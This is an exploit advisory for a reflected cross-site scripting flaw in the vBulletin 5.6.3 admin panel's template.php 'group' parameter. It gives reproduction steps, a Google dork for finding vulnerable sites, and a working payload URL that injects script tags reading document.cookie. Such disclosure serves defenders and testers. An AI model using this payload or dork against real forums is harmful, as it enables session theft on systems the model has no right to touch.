Authored by Vincent666 ibn Winnie

vBulletin version 5.6.3 suffers from a cross site scripting vulnerability.

# Exploit Title: vBulletin 5.6.3 - 'group' Cross Site Scripting
# Date: 05.09.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.vbulletin.com/en/features/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox & Opera
# Google Dorks: "Powered by vBulletin® Version 5.6.3"

Go to the "Admin CP" - click on "Styles" - click "Style Manager" -
Choose "Denim" or other theme and choose action "Add new template" and
click "Go".

Put on the title "1" and template "1" and "Save and Reload". Now you
can catch the new URL with HTTP Live Headers or with hands.

So..we have Url :

https://localhost/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0

Test it with hands and get cross site scripting. Use for tests
different browsers. I use Mozilla Firefox and Opera.

https://localhost/admincp/template.php?templateid=1&group=""><script>alert("Cross
Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=

Picture:

https://imgur.com/a/b6gH5Fn